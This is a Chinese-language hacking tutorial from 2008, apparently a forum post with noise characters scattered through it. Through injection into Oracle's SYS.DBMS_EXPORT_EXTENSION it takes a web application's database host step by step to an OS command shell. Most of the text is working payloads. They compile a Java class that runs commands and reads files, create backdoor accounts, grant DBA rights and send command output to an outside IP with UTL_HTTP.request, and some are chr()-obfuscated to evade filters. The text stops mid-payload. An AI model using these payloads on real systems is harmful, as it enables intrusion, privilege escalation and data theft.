7 x& B9 t( a X0 a% w# g5 d
' Z6 R7 K! }7 {. n; Z介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。5 [3 M0 U* K4 N5 e+ W8 N8 d# ]0 H8 g
5 o6 r9 u* u6 W9 G6 a) l& ?. n0 O以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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! n n% W1 n! X/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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/ V( o- Q+ N% _) e的形式即可。(用" 'a'|| "是为了让语句返回true值)
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- _, G( I1 C( U# }8 u语句有点长,可能要用post提交。. O- e# o) T& S
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$ T* D# T- m1 p* h8 Y, B, i- t以下是各个步骤:
4 v4 B% V5 H) J, z
8 ~- u k1 k2 i' j& X d' t1.创建包
, \$ U' O7 U- T9 ~通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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6 W* _8 ]6 \6 [" z6 ` W) R( zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 ^/ z t c, G
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
4 w/ h1 ]# P6 D- mnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}/ k- X w6 b- @/ m: v+ ?
}'''';END;'';END;--','SYS',0,'1',0) from dual
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) W6 X2 E6 P# x)
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------------------------
& M, N4 z, Q. `如果url有长度限制,可以把readFile()函数块去掉,即:
& |7 {: v* s3 `' s; K/xxx.jsp?id=1 and '1'<>'a'||(
* a" q7 h! }& B6 ?. F5 W8 ? @9 \6 {+ ]: B( l# N1 g+ h' r3 g
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ D. U' \5 O" Y! U5 _& Ccreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
5 m6 B8 L- V* H( |; H. ?$ vnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
! P3 F8 S; E3 h: o- l2 B4 z- j' j}'''';END;'';END;--','SYS',0,'1',0) from dual
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* o! u8 [, l7 n)
% K2 r1 K. A0 R+ H; L3 h. A% N7 I; t o7 F0 ^7 j
同时把后面步骤 提到的 对readFile()的处理语句去掉。
1 P, ?# D. D* z( V$ b------------------------------. F8 y6 r9 |; V3 i( G8 {; \. ]
& B2 m* ~: M Y5 ^: Z3 D
2.赋Java权限
2 g+ L# Q7 O5 F0 U" E( _
* O) o1 C% r( s. Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
0 [2 o8 \- o2 N( P
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( k9 S# D" ~1 u- l: V3.创建函数
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 W8 z9 O# `) I( H u, X" K2 r
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual" n; N1 M: p6 E6 w) E
1 s: g9 O" A; i& _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 m& g( c2 K, X# [4 o/ e4 V# Y
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual, J7 U7 S0 O8 }' C+ S9 Q
6 t$ H' q' ^& [* h% y4.赋public执行函数的权限
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! ]$ c+ _0 `9 r7 x; E5 {' rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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) O4 f( Q6 E/ E9 n5.测试上面的几步是否成功
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0 T1 e4 _0 b5 O9 m: U5 Fand '1'<>'11'||(0 i% c% j6 _/ q$ ?9 G9 D1 W
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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: y+ S6 l4 g1 s# dand '1'<>(
& Z4 V( I8 L4 |' Y7 P5 z3 mselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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! G! z3 R$ x/ _1 A8 k) X8 p
6.执行命令:
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/xxx.jsp?id=1 and '1'<>(
$ B$ E% t: E+ x# t, s" Sselect sys.LinxRunCMD('cmd /c net user linx /add') from dual- ~1 U: J+ A: v) o4 g- h: y
)
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/xxx.jsp?id=1 and '1'<>(
6 }0 E5 h6 Q: h0 sselect sys.LinxReadFile('c:/boot.ini') from dual
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, X; b H _( b6 `9 X/ ^, E
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。. i* O& ?9 H5 Y; e' Z6 D+ ~; h( l+ l
如果要查看运行结果可以用 union :. u7 Z6 ]/ i/ F8 I) X9 L
% k) J- n' D, o' Q5 q8 l2 s/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
; [& ^7 u, J% ?0 T+ B& {; j
& n$ u$ q' }) b" u5 v或者UTL_HTTP.request(:+ ~6 I# K) E: w# k: i
" h; Z6 |6 W" ^4 O/xxx.jsp?id=1 and '1'<>(" d1 o9 h8 q$ `# D$ V
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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: @/ ]* _" F$ N
/xxx.jsp?id=1 and '1'<>(1 M9 [; i8 B2 ]* C- D
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual) d: k5 {( V) v" H9 h7 q' `0 ]
)8 C5 }5 y3 {# O$ h
( o6 s! Y! t, v( s. p注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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--------------------
1 O9 B* U b& ?! v6 A! t; j: j6 o" j
6.内部变化
! m" m" k- _* {通过以下命令可以查看all_objects表达改变:+ s3 i( v4 l- ]/ h$ D" `8 i7 d
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'4 V( t$ q2 ^+ O
+ K7 n- c: X/ Z# V8 _, n7.删除我们创建的函数
% N& _" m, |1 y' v: p1 ?8 }0 G1 cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 \# o2 D9 k- T# u1 u
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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. N7 }, o9 o/ s& |! A' k====================================================
: Y; ], T0 x; [1 W全文结束。谨以此文赠与我的朋友。8 T! u7 B( o$ A+ U' U) Y5 r( Z
% ?. z% F% E8 t7 I. Xlinx
" E R7 X" r! G124829445+ }$ j8 C' ~, }( n& b
2008.1.12' ~6 W; K A% k' N* x% l$ P0 n
[email protected]! x, j4 c4 I1 L. `
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m2 B1 {( }3 J% d$ J1 S& ?2 u! s$ ^
4 P7 P9 f( H. U8 Y" z: i
$ U1 a9 M, Q+ Y======================================================================# r5 k2 z3 R* {, \
( V3 T! l9 W7 e @测试漏洞的另一方法:" \1 M* }, m/ \4 `3 a/ t
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创建oracle帐号:
; p3 k; Y: N& m8 v/ l$ |$ Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 n) R+ K, E( P( E- |' M& }; [CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即:
& `, G! _& t+ F3 Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; s% D3 `: S) P C; K- vchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual: v" \8 D9 D% Y5 Z' H
+ r9 K0 c; F2 |确定漏洞存在:, W' t, H ^) t5 B0 v% B1 o
1<>(
0 k, I- _( Y2 |/ n. Wselect user_id from all_users where username='LINXSQL'
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( `( C; n& B/ D1 W1 `, {2 q给linxsql连接权限:, @7 Z# h7 F& O$ J8 z% A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 P/ w( F( w+ C8 r8 Z1 p% P
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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删除帐号:
4 w. x0 {* X1 u7 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! C4 o5 {( H4 z1 z, Z
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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- T2 T6 |! v5 s======================0 Y: u- U- n$ C: U
; Z" J0 G" q- d" _8 u. G以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User: B e4 O9 \7 l8 @
7 X% g8 @" T& F1 b* k1.jsp?id=1 and '1'<>(6 g+ \; \% r R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, n' L6 H* [/ t. z+ S ocreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual8 L" H$ B, H% F, ~- N
) and ...
7 \0 V, S6 q8 T7 Q1 N P9 m& g/ s8 b* A
1.jsp?id=1 and '1'<>(
( G% Q, o2 b& V& p8 ~0 Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
/ A- d) ?( b: w) and ...# l8 P7 A2 o) X
) D3 G; t7 \5 R4 S( U1.jsp?id=1 and '1'<>(
" k, q( L" u; _& v9 v9 \7 nSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
" Q G2 M6 [6 ]) and ...
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3 a0 I' ?& J! f8 h! Q4 [1 ?7 n3 o2 {5 e/ \* h3 {
1.jsp?id=1 and '1'<>(
/ r& T; t6 @8 A" `SELECT sys.Linx_Query('declare pragma) ^6 v8 z) L9 ^* Z) D9 a5 f
autonomous_transaction; begin execute immediate ''
4 |# h' T, J' ?2 M, cselect 1 from dual) @) |4 h3 u" k1 I
''; commit; end;') from dual: X6 }- ?( m- v1 h
) and ...4 b# U4 _" k$ ?/ S- c/ F
8 J; ~) C0 O- y9 `# L" {# ?( T# D多语句:5 i$ M2 b0 G. d) R- M! n5 Z
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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% Y9 M. r' ` y8 X创建用户(除非当前用户有system权限,否则无法成功):
}. K9 B1 g4 s. FSELECT sys.Linx_Query('declare pragma+ r: L. U. q* h& S; ^
autonomous_transaction; begin execute immediate ''
' `- l1 `8 s% J2 ` |& YCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User- x4 h! Y2 c C
''; commit; end;') from dual
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) c7 e. x O6 @ z
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4 d# m g- F- D0 F5 R================
. ]( i/ O( n. N! f以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
* F. x! A- r/ L# r. ?# ~$ X9 i
4 @! o8 x6 B1 [/ F" ^* ^1.创建函数
0 g' s7 {4 s2 H$ Z bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 g( d( ]7 o/ ~( e3 q- u
create or replace function Linx_Query (p
( H- g0 o; r2 q; d' ?" N4 Fvarchar2) return number authid current_user is begin execute immediate
" Q+ H& J0 Y1 v `& y1 }5 {p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
# v# |) v2 p3 M
2 O3 b1 Z5 s; x3 ?$ M如果有权限,以下语句应该允许正常
" |- w. Z4 E2 ?; ~ Bselect sys.linx_query('select 1 from dual') from dual;3 N y1 K/ R2 |4 B$ z7 ?6 r! e1 d
! h& E$ l8 A& ^0 m) y" ~
不然的话运行:4 w7 e! E* B# D9 E! G! `9 f
# F$ g# _* x5 X- j( D5 T1 d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 l: i0 O6 V3 T
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual. J" [. s2 I1 B8 o& Q! i8 @2 t7 f; V
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+ `( S" D. t- d; H2.创建包3 N1 s( u7 N' W) `
SELECT sys.Linx_Query('declare pragma
7 W+ T6 }) ~4 y+ a) e) _autonomous_transaction; begin execute immediate '': `; t* ?% V0 f
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
. _ O6 v$ o" f1 ~) O% G+ l% [new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual( |. R8 d+ [0 r3 p
% i' J! l$ V- O2 ]- X4 N1 H+ [3.创建函数
: s+ t0 Q+ j. A: F* F$ Y4 {1 wSELECT sys.Linx_Query('declare pragma4 l$ k: l6 J. H: p$ `3 F
autonomous_transaction; begin execute immediate ''$ Z" f- r1 H' T. Y1 h5 F
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual, M* [) D! |+ k& Y: k8 ^+ c# N: e
/ [% E M e e( A/ B
4.给权限
! G2 }0 |# X/ \1 K给用户SYSTEM执行权限:
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SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
* e$ i+ E2 L9 o* x& b: O8 ^ A- }* M6 n; q- W. h' \8 y" L
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5.执行函数, C' Y! x) S" i5 s, ^* j8 x6 p
select RunCMD2('cmd /c dir') from dual- m- a- D; L0 C4 H
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8 Q$ J+ i2 I/ U- f. t/ k% P& ?/ ?6 D& H: z8 S% n4 |
==================
5 U ~% i6 f$ ?- x================================
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3 K+ N! U8 g& V& T; e以下是无 " ' " 版:- L+ B- b" j: _( U
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以下是各个步骤:$ i+ R! e/ q5 [3 U i
8 ]' J* f1 q. L4 q5 |! [
1.创建包; l) E4 e4 I$ K
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:1 ~( ? N* u, g' ~ ~. O
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
4 a: z, Z* c. {) Y/ A4 [) ?0 L1 Y; X3 H- H( e( u7 J( f
/xxx.jsp?id=1 and chr(49)<>chr(50)||(' c6 x+ S4 r: R9 B
- m+ i+ \: l: r1 L- c" cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
$ U9 h! h9 o0 R3 `" w- pchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||- w) F- e, H# g* D' W: e6 Y
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
- P1 z6 q+ o- c; w6 A3 [chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
2 o( p! E3 c( i3 G; [chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
2 O, X# Q: Y8 Fchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||. w/ V2 A: l) U; b; ]+ z
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||- ?# ]% e* Q# |8 F3 B6 e7 T+ S
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
9 T1 |: a% }) T/ jchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
" @5 N5 ^! w/ @$ kchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||7 H% U+ K* Y% w5 e' W
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
- g+ Y5 O6 z& N P3 Y cchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
; q: s% c1 n. qchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||% z* Z3 g8 I9 p; s' Z% k5 T( Y
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||0 e7 g" ~2 N9 |8 o% |8 C. |3 b
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||0 A( W" D/ X0 B) t3 D
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
, A2 O, S% ^$ o: m/ d' ?& n- R. Ochr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
/ p: v; d/ K2 C& T6 @chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||" [( g m7 b, H3 q
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||1 _3 o4 P7 V; `2 Z/ {* ~. s8 d5 W
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
( ?$ g5 g, A b0 Pchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||; W% x/ x9 n& }! Z+ n3 w& ` `
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
9 a7 P }1 @# [' T. lchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
